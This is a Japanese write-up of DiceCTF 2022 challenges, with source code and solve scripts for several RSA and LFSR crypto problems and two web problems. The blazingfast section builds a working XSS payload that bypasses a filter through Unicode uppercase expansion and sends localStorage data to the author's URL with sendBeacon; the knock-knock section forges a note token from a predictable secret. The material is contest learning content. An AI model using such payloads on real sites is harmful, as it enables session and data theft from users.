DiceCTF 2022 Writeup

February 07, 2022

Crypto commitment-issues correlated rejected baby-rsa Web blazingfast knock-knock Rev hyperlink flagle Pwn interview-opportunity

2/5-7 に開催していた DiceCTF 2022 にソロで参加しました。結果は 34th/1127 でした。

Crypto

commitment-issues

16 solves

scheme.py

from random import randrange
from Crypto.Util.number import getPrime, inverse, bytes_to_long, GCD

flag = b'dice{?????????????????????????}'
n = 5

def get_prime(n, b):
	p = getPrime(b)
	while GCD(p - 1, n) != 1:
		p = getPrime(b)
	return p

p = get_prime(n, 1024)
q = get_prime(n, 1024)
N = p*q
phi = (p - 1)*(q - 1)

e = 0xd4088c345ced64cbbf8444321ef2af8b
d = inverse(e, phi)

def sign(message):
	m = bytes_to_long(message)
	return pow(m, d, N)

def commit(s, key, n):
	return (s + key) % N, pow(key, n, N)

def reveal(c1, c2, key, n):
	assert pow(key, n, N) == c2
	return (c1 - key) % N

r = randrange(1, N)
s = sign(flag)
c1, c2 = commit(s, r, n)

print(f'N = {hex(N)}')
print(f'c1 = {hex(c1)}')
print(f'c2 = {hex(c2)}')

RSA のように $N, d$ のようなパラメータを生成し $s = m^d \mod N$ に対して、 $c_1 = s + k, c_2 = k^5 \mod N$ が与えられます。 $m$ がフラグです。

$s, k$ の2変数はどちらも大きな値なので特にやれることはなさそうです。 $m$ が小さいことを利用したいため $m, k$ の2変数で連立方程式を立てることを考えます。 RSA と同様 $m = s^e = (c_1 - k)^e \mod N$ で計算できるのですが、 $e$ が大きな数なので愚直にはできません。そこで $k^5 - c_2$ での余りを考えて計算すると $m$ は $k$ の4次式で表せます。これで2つの多項式 $f(k, m) = k^5 - c_2, g(k, m) = \sum_{i=0}^4 c_ik^i - m$ がともに0となるような $k, m$ を求める問題に変わりました。このとき Sylvester matrix の行列式は0になるはずで、 $k$ を削除すると $m$ の5次式が求まります。フラグの文字列長は31文字で248bit程度しかないため、 Coppersmith で十分に求まります。

solve.py

from Crypto.Util.number import long_to_bytes


N = 0xBA8CB3257C0C83EDF4F56F5B7E139D3D6AC8ADF71618B5F16A02D61B63426C2C275CE631A0927B2725C6CC7BDBE30CD8A8494BC7C7F6601BCEE5D005B86016E79919E22DA4C431CEC16BE1EE72C056723FBBEC1543C70BFF8042630C5A9C23F390E2221BED075BE6A6AC71AD89A3905F6C706B4FB6605C08F154FF8B8E28445A7BE24CB184CB0F648DB5C70DC3581419B165414395AE4282285C04D6A00A0CE8C06A678181C3A3C37B426824A5A5528EE532BDD90F1F28B7EC65E6658CB463E867EB5280BDA80CBDB066CBDB4019A6A2305A03FD29825158CE32487651D9BFA675F2A6B31B7D05E7BD74D0F366CBFB0EB711A57E56E6DB6D6F1969D52BF1B27B
c1 = 0x75240FCC256F1E2FC347F75BBA11A271514DD6C4E58814E1CB20913195DB3BD0440C2CA47A72EFEE41B0F9A2674F6F46A335FD7E54BA8CD1625DAEAAAA45CC9550C566F6F302B7C4C3A4694C0F5BB05CD461B5CA9017F2EB0E5F60FB0C65E0A67F3A1674D74990FD594DE692951D4EED32EAC543F193B70777B14E86CF8FA1927FE27535E727613F9E4CD00ACB8FAB336894CAA43AD40A99B222236AFC219397620CA766CEF2FE47D53B07E302410063EAE3D0BF0A9D67793237281E0BFDD48255B58B2C1F8674A21754CF62FAB0BA56557FA276241CE99140473483F3E5772FCB75B206B3E7DFB756005CEC2C19A3CB7FA17A4D17F5EDD10A8673607047A0D1
c2 = 0xDB8F645B98F71B93F248442CFC871F9410BE7EFEE5CFF548F2626D12A81EE58C1A65096A042DB31A051904D7746A56147CC02958480F3B5D5234B738A1FB01DC8BF1DFFAD7F045CAC803FA44F51CBF8ABC74A17EE3D0B9ED59C844A23274345C16BA56D43F17D16D303BB1541EE1C15B9C984708A4A002D10188CCC5829940DD7F76107760550FAC5C8AB532FF9F034F4FC6AAB5ECC15D5512A84288D6FBE4B2D58AB6E326500C046580420D0A1B474DECA052EBD93AAA2EF972ACEBA7E6FA75B3234463A68DB78FFF85C3A1673881DCB7452390A538DFA92E7FF61F57EDF48662991B8DD251C0474B59C6F73D4A23FE9191AC8E52C8C409CF4902EEAA71714
e = 0xd4088c345ced64cbbf8444321ef2af8b

PRk.<k> = PolynomialRing(Zmod(N))
I = PRk.ideal(k ** 5 - c2)
PRI = PRk.quotient_ring(I)
res = PRI(c1 - k) ** e
PRkm.<k, m> = PolynomialRing(Zmod(N))
f = k ** 5 - c2
# もっとスマートな方法を知りたい
g = PRkm(str(res).replace("kbar", "k")) - m
poly = f.sylvester_matrix(g, k).det()
PRm.<m> = PolynomialRing(Zmod(N))
poly = PRm(poly)
poly = poly.monic()
print(long_to_bytes(int(poly.small_roots(epsilon=0.05)[0])))

dice{wh4t!!-wh0_g4ve_u-thE-k3y}

解いた後にまとめてみるととてもシンプルな感じがしますが、どん詰まった問題の1つです。 Sylvester matrix に詳しくないのでなかなか思いつけなかったです。これはいわゆる resultant を求めているのに相当している…？ちなみにこれは CTF 中に行っていた脱出ゲームの帰りの電車で approximate GCD について調べていたら思いつきました。息抜き大事。

correlated

17 solves

correlated.py

#!/usr/local/bin/python

import secrets

class LFSR:
    def __init__(self, key, taps):
        self._s = key
        self._t = taps            

    def _sum(self, L):
        s = 0
        for x in L:
            s ^= x
        return s

    def _clock(self):
        b = self._s[0]
        self._s = self._s[1:] + [self._sum(self._s[p] for p in self._t)]
        return b

    def bit(self):
        return self._clock()

taps = [45, 40, 39, 36, 35, 34, 33, 32, 30, 28, 27, 23, 22, 21, 19, 17, 16, 15, 14, 13, 9, 7, 3, 0]
n = 48
m = 20000
prob = 0.80
delta = 1048576

with open("flag.txt", "r") as f:
    flag = f.read()

if __name__ == "__main__":
    print("I heard that fast correlation attacks don't work if your LFSR has more than 10 taps.")
    print("You have 60 seconds to recover the key.")

    key = secrets.randbits(n)
    key_bits = [(key >> i)&1 for i in range(n)]
    
    lfsr = LFSR(key_bits, taps)
    stream = [lfsr.bit() for _ in range(m)]

    noise = [secrets.randbelow(delta) > prob * delta for i in stream]
    stream = [i ^ j for i,j in zip(noise, stream)]

    print("Here are {} bits of the stream with {}% accuracy".format(m, 100 * prob))
    print(int("".join(map(str, stream)), 2))

    seed = int(input("what is my key?"))
    if seed == key:
        print(flag)

LFSR から生成された20000個の bit が与えられます。ただしそのうちの20%はbitが反転しています。

LFSR の状態は48bitなので20000個のうち48個適当にピックアップしてきたものがすべて反転していなかったものだとすると、 LFSR の状態を復元することができます。 $0.8^{48} \approx 2.2\times10^{-5}$ 程度なので、例えば10000回ランダムピックアップを試せば正解を引ける確率の期待値は22%となります。数万回は余裕で回せるだろうという直感があったのでこの方針でやったらフラグが得られました。

solve.py

import time

from pwn import remote


taps = [45, 40, 39, 36, 35, 34, 33, 32, 30, 28, 27, 23, 22, 21, 19, 17, 16, 15, 14, 13, 9, 7, 3, 0]
n = 48
m = 20000
prob = 0.80
delta = 1048576

trans = matrix(GF(2), n, n)
for i in range(n-1):
    trans[i, i+1] = 1
for t in taps:
    trans[n-1, t] = 1

outputs = matrix(GF(2), m, n)
tmp = trans ** 0
for i in range(m):
    outputs[i] = tmp[0]
    tmp *= trans


def bits_to_int(bits: list[int]) -> int:
    tmp = 0
    for b in bits[::-1]:
        tmp *= 2
        tmp += b
    return tmp


io = remote("mc.ax", 31683)
io.recvuntil(b"accuracy\n")
out_int = int(io.recvline().strip().decode())
stream_noisy = list(map(int, f"{out_int:020000b}"))

i = 0
L = 100
now = time.time()
end = False
while True:
    if time.time() - now > 60:
        print("not end")
        break
    i += 1
    idx_list = random.sample(range(m), k=n)
    tmp_outputs = outputs[idx_list, :]
    tmp_stream_noisy = vector(GF(2), [stream_noisy[idx] for idx in idx_list])
    try:
        res = tmp_outputs.solve_right(tmp_stream_noisy)
    except ValueError:
        continue
    tmp_lfsr = LFSR([int(r) for r in res], taps)
    tmp_stream_rec = [tmp_lfsr.bit() for _ in range(L)]
    cnt = Counter(vector(GF(2), tmp_stream_rec) - vector(GF(2), stream_noisy[:L]))
    if cnt[0] > 0.75 * L:
        end = True
        break

if end:
    io.sendlineafter(b"key?", str(bits_to_int(res.change_ring(ZZ))).encode())
    print(io.recvline())
else:
    io.close()

dice{low-flavor-solar-radiation-efec606520fba4c}

この問題が今回の CTF で一番楽に解けましたが、意外と解かれていない…最終日に開放されたのでみんなスルーしていたんですかね。

rejected

44 solves

rejected.py

#!/usr/local/bin/python

import secrets

class LFSR:
    def __init__(self, key, taps):
        self._s = key
        self._t = taps            

    def _sum(self, L):
        s = 0
        for x in L:
            s ^= x
        return s

    def _clock(self):
        b = self._s[0]
        self._s = self._s[1:] + [self._sum(self._s[p] for p in self._t)]
        return b

    def bit(self):
        return self._clock()

class RNG:
    def __init__(self, lfsr, N, nbits):
        self.lfsr = lfsr
        self.N = N
        self.nbits = nbits
        
        if not (pow(2, 27) < N < pow(2, 31)):
            raise ValueError("modulus is too big or small")
        
        K = pow(2, nbits) // N
        self.cutoff = K * N

    def get_random_nbit_integer(self):
        res = 0
        for i in range(self.nbits):
            res += self.lfsr.bit() << i
        return res
    
    def get_random_integer_modulo_N(self):
        count = 1
        while True:
            x = self.get_random_nbit_integer()
            if x < self.cutoff:
                return x % self.N, count
            count += 1

taps = [60, 58, 54, 52, 48, 47, 45, 43, 38, 36, 32, 28, 22, 21, 13, 9, 8, 5, 2, 0]
n = 64

with open("flag.txt", "r") as f:
    flag = f.read()

if __name__ == "__main__":
    print("Welcome to the unbiased random number factory!")
    N = int(input("What modulus would you like to use? Choose between 2^27 and 2^31: "))

    key = secrets.randbits(n)
    key_bits = [(key >> i)&1 for i in range(n)]
    
    lfsr = LFSR(key_bits, taps)
    rng = RNG(lfsr, N, 32)
    
    for _ in range(1024):
        c = input("Enter your command (R,F): ")
        if c.startswith("R"):
            x,t = rng.get_random_integer_modulo_N()
            print("creating this random number took {} attempts".format(t))
        elif c.startswith("F"):
            seed = int(input("what was my seed?"))
            if seed == key:
                print(flag)
            exit(0)
        else:
            print("unsupported command")

LFSR で生成した32bitがある rng.cutoff より大きかった場合、乱数生成をし直します。我々が得られるのはこの乱数生成が何回行われたかという情報だけです。

modulus $N$ をこちらから指定できるので、どのような値が都合いいかを確かめてみます。試しに $N = 2^{27} + 1$ とすると、 rng.cutoff は 0b11111000000000000000000000011111 となります。もし乱数生成やり直しが起きた場合はこの値より大きな値が生成されたということになるのですが、これはすなわち32bitのうち最後の5bitが1だったことを意味します。これを利用し1で確定した回数が64回となるまで乱数生成を行えば LFSR の状態を復元することができます。

solve.py

import re

from pwn import remote


trans = matrix(GF(2), 64, 64)
for i in range(63):
    trans[i, i+1] = 1
for t in taps:
    trans[63, t] = 1

outputs = matrix(GF(2), 64 * 1024, 64)
tmp = trans ** 0
for i in range(64 * 1024):
    outputs[i] = tmp[0]
    tmp *= trans


io = remote("mc.ax", 31669)
io.sendlineafter(b"2^31: ", str(N).encode())

M = 70
res = matrix(GF(2), M, 64)
idx = 0
i = 0
while True:
    io.sendlineafter(b"(R,F): ", b"R")
    ret = io.recvline().strip().decode()
    attempt = int(re.findall(r"creating this random number took (.*) attempts", ret)[0])
    if attempt > 1:
        for _ in range(attempt - 1):
            for j in range(27, 32):
                if idx >= M:
                    break
                res[idx] = outputs[32 * i + j]
                print(i)
                idx += 1
            i += 1
    if idx >= M:
        break
    i += 1

key_bits = res.solve_right(vector(GF(2), [1] * M)).change_ring(ZZ)
key = bits_to_int(key_bits)
io.sendlineafter(b"(R,F): ", b"F")
io.sendlineafter(b"seed?", str(key).encode())
print(io.recvline())

dice{so-many-numbers-got-rejected-on-valentines-day-1cc16ff5b20d6be1fbd65de0d234608c}

baby-rsa

162 solves

generate.py

from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes

def getAnnoyingPrime(nbits, e):
	while True:
		p = getPrime(nbits)
		if (p-1) % e**2 == 0:
			return p

nbits = 128
e = 17

p = getAnnoyingPrime(nbits, e)
q = getAnnoyingPrime(nbits, e)

flag = b"dice{???????????????????????}"

N = p * q
cipher = pow(bytes_to_long(flag), e, N)

print(f"N = {N}")
print(f"e = {e}")
print(f"cipher = {cipher}")

見た目は普通の RSA ですが、 $N$ が小さいこと、使われる素数が $e^2$ の倍数であることが特徴です。 $N$ は小さいので簡単に素因数分解できます。

似たような問題として Hack.lu CTF 2020 の問題があります (リンクは自分の writeup)。ただしこのときは $p - 1 = 0 \mod e, p - 1 \ne 0 \mod e^2$ だったため、今回の問題には直接適用することができません。

以前の問題では $d = e^{-1} \mod \phi$ の代わりに $d = e^{-1} \mod \phi/e$ とし、 $k$ を $k^e = 1 \mod N$ を満たす整数として $c^d k^i\mod N$ ( $0 \le i < e$ ) が解空間を占めるため、これらからフラグになるものを探すといった解き方ができました。今回の問題でもそのアナロジーとして、 $d = e^{-1} \mod \mathrm{lcm}(p-1, q-1)/e^2$ とし、 $k_1, k_2 (k_1 \ne k_2)$ を $k_1^{e^2} = k_2^{e^2} = 1 \mod N$ を満たす整数として、 $c^d k_1^i k_2^j \mod N$ ( $0 \le i, j < e^2$ ) が解空間を占めるのではないかと考えました。この方針で上手くいきました、ヨシ。

solve.py

from Crypto.Util.number import long_to_bytes


N = 57996511214023134147551927572747727074259762800050285360155793732008227782157
e = 17
cipher = 19441066986971115501070184268860318480501957407683654861466353590162062492971

p = 172036442175296373253148927105725488217
q = 337117592532677714973555912658569668821
assert p * q == N
phi_ = lcm(p - 1, q - 1) / e^2
d_ = int(pow(e, -1, phi_))
k1 = pow(2, phi_, N)
k2 = pow(3, phi_, N)
assert k1**(e**2) == k2**(e**2) == 1

for i in range(e^2):
    for j in range(e^2):
        dec = long_to_bytes(int(pow(cipher, d_, N) * pow(k1, i, N) * pow(k2, j, N)))
        if b"dice" in dec:
            print(dec)

dice{cado-and-sage-say-hello}

結果としてはそれで上手くいったし、直観的にも正しそうなのですが、厳密な証明はまだしていません。数学弱者なので…

Web

blazingfast

75 solves

index.html

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<title>blazingfast</title>
	<style>
		* {
			font-family: monospace;
		}

		body {
			max-width: 700px;
			width: 100%;
			margin: auto;
		}

		code, pre {
			background-color: whitesmoke;
			padding: 2px;
		}
	</style>
</head>
<body>
<h1>blazingfast</h1>
<hr>
<code>blazingfast</code> is a blazing fast MoCkInG CaSe converter written in WASM!
<br><br>

Try it here:<br><br>
<textarea id="demo" rows="15" cols="50"></textarea><br><br>
<button id="demo-submit">Mock me!</button>
<hr>
<pre><code id="result">The MoCkInG CaSe text will be here!</code></pre>
</body>

<script>
let blazingfast = null;

function mock(str) {
	blazingfast.init(str.length);

	if (str.length >= 1000) return 'Too long!';

	for (let c of str.toUpperCase()) {
		if (c.charCodeAt(0) > 128) return 'Nice try.';
		blazingfast.write(c.charCodeAt(0));
	}

	if (blazingfast.mock() == 1) {
		return 'No XSS for you!';
	} else {
		let mocking = '', buf = blazingfast.read();

		while(buf != 0) {
			mocking += String.fromCharCode(buf);
			buf = blazingfast.read();
		}

		return mocking;
	}
}

function demo(str) {
	document.getElementById('result').innerHTML = mock(str);
}

WebAssembly.instantiateStreaming(fetch('/blazingfast.wasm')).then(({ instance }) => {	
	blazingfast = instance.exports;

	document.getElementById('demo-submit').onclick = () => {
		demo(document.getElementById('demo').value);
	}

	let query = new URLSearchParams(window.location.search).get('demo');

	if (query) {
		document.getElementById('demo').value = query;
		demo(query);
	}
})
</script>
</html>

blazingfast.c

int length, ptr = 0;
char buf[1000];

void init(int size) {
	length = size;
	ptr = 0;
}

char read() {
	return buf[ptr++];
}

void write(char c) {
	buf[ptr++] = c;
}

int mock() {
	for (int i = 0; i < length; i ++) {
		if (i % 2 == 1 && buf[i] >= 65 && buf[i] <= 90) {
			buf[i] += 32;
		}

		if (buf[i] == '<' || buf[i] == '>' || buf[i] == '&' || buf[i] == '"') {
			return 1;
		}
	}

	ptr = 0;

	return 0;
}

mock 関数の処理を追うと、入力 str について、

str.length だけのメモリを用意
str.toUpperCase() を1文字ずつメモリに書き込む
メモリを str.length 文字調べて XSS に使いそうな文字 (< など) があればエラー
なければメモリを null となるまで1文字ずつ走査し、それらを表示

ということをしています。こうしてみると文字列を走査する範囲の条件が微妙に異なっています。この条件の違いをうまく使えないでしょうか。

ここで前回の SECCON の bcrypt の問題を思い出します。この問題の肝は ﬃ という文字が長さ1なのに対し upper case では FFI と3文字になることでした。確認してみると javascript でも同様のことが起きるようです。なので、 ﬃﬃ...ﬃﬃ<script>alert(1)</script> のような文字列を入力すると、メモリには FFIFFI...FFIFFI<script>alert(1)</script> と書き込まれますが、文字チェックは ﬃ の数程度しか行われないことになり、 <script> タグを埋め込むことができます。

これで終わりかと思いきや、今回の問題では入力がすべて upper case に変換されるので、まともに javascript を書くことができません。そこで A という文字が A と変換されることを利用します。この表記を使えば特に文字が変換されることもありません。 javascript からこの表記に変換するコードを書き、 admin にその URL をふませることでフラグが手に入りました。

solve.py

import string


pad = "%EF%AC%83"
base_url = "https://blazingfast.mc.ax/?demo="

script = f"navigator.sendBeacon(`{my_url}?flag=`+localStorage.getItem(`flag`))"
script_escaped = "".join([f"&#{ord(c)};" if c in string.ascii_lowercase else c for c in script])
img = f"<img src=x onerror=\"{script_escaped}\">"
payload = base_url + pad * 300 + img
payload.replace("&", "%26").replace("#", "%23").replace("+", "%2B")

dice{1_dont_know_how_to_write_wasm_pwn_s0rry}

knock-knock

356 solves

index.js

const crypto = require('crypto');

class Database {
  constructor() {
    this.notes = [];
    this.secret = `secret-${crypto.randomUUID}`;
  }

  createNote({ data }) {
    const id = this.notes.length;
    this.notes.push(data);
    return {
      id,
      token: this.generateToken(id),
    };
  }

  getNote({ id, token }) {
    if (token !== this.generateToken(id)) return { error: 'invalid token' };
    if (id >= this.notes.length) return { error: 'note not found' };
    return { data: this.notes[id] };
  }

  generateToken(id) {
    return crypto
      .createHmac('sha256', this.secret)
      .update(id.toString())
      .digest('hex');
  }
}

const db = new Database();
db.createNote({ data: process.env.FLAG });

const express = require('express');
const app = express();

app.use(express.urlencoded({ extended: false }));
app.use(express.static('public'));

app.post('/create', (req, res) => {
  const data = req.body.data ?? 'no data provided.';
  const { id, token } = db.createNote({ data: data.toString() });
  res.redirect(`/note?id=${id}&token=${token}`);
});

app.get('/note', (req, res) => {
  const { id, token } = req.query;
  const note = db.getNote({
    id: parseInt(id ?? '-1'),
    token: (token ?? '').toString(),
  });
  if (note.error) {
    res.send(note.error);
  } else {
    res.send(note.data);
  }
});

app.listen(3000, () => {
  console.log('listening on port 3000');
});

Database というクラスのインスタンス中にフラグが格納されています。これを見るためには正しいトークンを知る必要があります。しかしコードをよくよく見てみると、トークン生成用の key が secret-${crypto.randomUUID} と生成されているのですが、 crypto.randomUUID は callable です。これはすなわち crypto.randomUUID を str に変換されたものが入っているということになるのでこの key は実は既知となっています。これを用いて id=0 のトークンを生成してアクセスすればフラグが入手できました。

dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}

Rev

hyperlink

71 solves

WIP

flagle

136 solves

WIP

Pwn

interview-opportunity

299 solves

WIP

Crypto commitment-issues correlated rejected baby-rsa Web blazingfast knock-knock Rev hyperlink flagle Pwn interview-opportunity